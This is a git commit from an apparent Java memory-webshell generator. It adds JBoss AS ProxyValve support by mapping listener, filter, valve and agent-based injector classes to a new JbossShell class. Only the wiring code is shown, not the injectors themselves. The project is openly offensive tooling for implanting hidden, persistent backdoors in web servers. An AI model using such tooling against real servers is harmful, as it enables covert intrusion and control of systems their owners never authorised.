feat: support JBossAS ProxyValve shell

This commit is contained in:
ReaJason
2025-06-07 13:31:18 +08:00
parent 6b33cfb0fe
commit 0c7dadc4f4
10 changed files with 439 additions and 10 deletions
@@ -29,8 +29,8 @@ public enum Server {
/**
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBossAS(new TomcatShell()),
JBossEAP6(new TomcatShell()),
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
@@ -0,0 +1,34 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector;
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class JbossShell extends AbstractShell {
@Override
public Class<?> getListenerInterceptor() {
return TomcatShell.ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, TomcatListenerInjector.class)
.addInjector(FILTER, TomcatFilterInjector.class)
.addInjector(VALVE, JbossValveInjector.class)
.addInjector(PROXY_VALVE, JbossProxyValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
.build();
}
}